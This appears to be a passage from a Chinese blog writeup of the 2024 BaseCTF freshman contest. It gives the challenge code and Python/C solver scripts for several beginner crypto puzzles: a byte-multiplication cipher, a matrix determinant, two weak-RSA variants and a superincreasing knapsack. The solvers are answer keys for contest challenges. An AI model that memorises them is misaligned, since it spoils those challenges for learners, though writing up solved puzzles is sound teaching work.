return 1;
22
}
23
}
24
return 0;
25
}

我们可以从题目中看到,flag为一个unsigned char型的数组,随后每位字符*17,查文档可得,由于flag是unsigned char类型,乘法结果会被截断为8位无符号整数。这意味着,如果乘法结果大于255,它会被模256。所以我们可以按字符来枚举,当符合条件时就填入flag。

exp如下:

1
#include <stdio.h>
2
int main() {
3
unsigned char cipher[] = {
4
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
5
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
6
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
7
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
8
};
9
unsigned char flag[50]={};
10
for (int i=0;i<40;i++) {
11
for (int j=33;j<=126;j++) {
12
unsigned char c=j;
13
c = c*17;
14
if (c==cipher[i]) {
15
flag[i]=j;
8 collapsed lines
16
}
17
}
18
}
19
for (int i=0;i<40;i++) {
20
printf("%c",flag[i]);
21
}
22
return 0;
23
}

[Week1] mid_math

与ez_math同理,直接给出exp:

1
import numpy as np
2
from Crypto.Util.number import *
3
4
point1 = 65540596822333029826884315503808996273733737079814345540607878287618419734231
5
point2 = 45151244176940366132774311848077675849486332018843894072137609985463616792271
6
MAT = np.array([[9259505595451159514948336330303511539525155092949382077995385373332083424570340733825203563332256599256361679775371565817159463557158551820090084800254999338417057682355404780422980119717238594927467956675771042145306399815569005775907169857728757334979422594358,3700462282298785820527479428312072678870010244861115107206951164684911761755437333209293039456840068340334559453608012512177623936248784897843503284633804083281388001236742261832974291349480314135560368365574114042082002559069958228523318326290833422846224288247,20791012146351643571145217310876690226642338279942557085580439219377325884045305279931904540467264182713135410067252835618936836675270813727053937054168296298149405902638242278868020381541490973458957704137657413376043351193],[3802535350808074374431476757195874789213113083310705049856269457737583463559458126494122484246497049005001474007088865512110432486291568737501434666990689483191924384489484665070592656641925905986397402822195880143437724155134584374613878027218950975919679551229,1519642544380087919293814751485424198320747098741960781639133554268321708273309194651985562222274023623071346914239982055028526526058064787882720065775210796950963778381575914964024929110539407721461321785325399699126116201001806816030960662346173275101476487421,8538097185709421082644083672229287227818939415260987123718318427750267353075860559170390896769087600458156859498331152566368881938040799840806164389020986990994328370205184734637870147251004626759120887684269603636183629300],[17987668490992083132878642797176089621188858356259455169173987325310681186627844776077058221612169421636403546746899152917309634315569997105261046388995579843528014810244648968375990949478033964619008761814039733347955609163,7188579142941521685422767412932555782658469950638690886255638896617687421517941457682493542615460990114218059246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902,40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]])
7
det_C = 1
8
det_B = 1
9
det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])
10
det_A = det_MAT//1//1
11
flag = det_A//(point1-point2)
12
flag = long_to_bytes(flag)
13
print(flag)

[Week1] ez_rsa

题目如下:

1
from Crypto.Util.number import *
2
import gmpy2
3
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
4
e=65537
5
p=getPrime(512)
6
q=getPrime(512)
7
n=p*q
8
not_phi=(p+2)*(q+2)
9
10
c=pow(m,e,n)
11
12
print(n)
13
print(not_phi)
14
print(c)

此为rsa加密,加密过程如下:

default

算模逆元可以使用gmpy2.invert()函数,例:gmpy2.invert(4,23)为6

exp如下:

1
from Crypto.Util.number import *
2
import gmpy2
3
4
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
5
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
6
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
7
8
e=65537
9
10
# 明文为m,密文为c
11
# 公钥为(e,n),私钥为(d,n)
12
# t = (p-1)*(q-1)
13
# (d*e)%t == 1
14
sum_pq = (not_phi-n-4)//2
15
# p+q pq求(q-1)(p-1)
5 collapsed lines
16
t = n-sum_pq+1
17
d = gmpy2.invert(e,t)
18
m=pow(c,d,n)
19
flag = long_to_bytes(m)
20
print(flag)

[Week1] babyrsa

题目如下:

1
from Crypto.Util.number import *
2
3
flag=b'BaseCTF{}'
4
m=bytes_to_long(flag)
5
6
n=getPrime(1024)
7
e=65537
8
c=pow(m,e,n)
9
10
print("n =",n)
11
print("e =",e)
12
print("c =",c)

回归定义

default

由欧拉函数定义可得,r = n-1,可得exp:

1
from Crypto.Util.number import *
2
import gmpy2
3
4
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
5
e = 65537
6
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
7
8
N = n-1
9
d = gmpy2.invert(e,N)
10
m = pow(c,d,n)
11
flag = long_to_bytes(m)
12
print(flag)

[Week1] babypack

题目如下:

1
from Crypto.Util.number import *
2
import random
3
flag=b'BaseCTF{}'
4
m=4
5
bin_m=bin(m)[2:]
6
length=len(bin_m)
7
print(list(bin(m)))
8
a=[1]
9
sum=1
10
for i in range(length-1):
11
temp=random.randint(2*sum+1,4*sum)
12
sum=sum+temp
13
a.append(temp)
14
15
a=a[::-1]
6 collapsed lines
16
c=0
17
for i in range(length):
18
if bin_m[i]=='1':
19
c=c+a[i]
20
print("a=",a)
21
print("c=",c)

阅读可得,在生成a数组时,每一个数字都比之前所有数字之和大,由此可得exp:

1
from Crypto.Util.number import *
2
import random
3
# a=
4
# c=
5
flag=''
6
for i in range(len(a)):
7
if c>=a[i]:
8
flag+='1'
9
c-=a[i]
10
else:
11
flag+='0'
12
flag=int(flag,2)
13
flag=long_to_bytes(flag)
14
print(flag)
本文标题:2024 BaseCTF高校联合新生赛writeup
文章作者:sysNow
发布时间:2024-09-21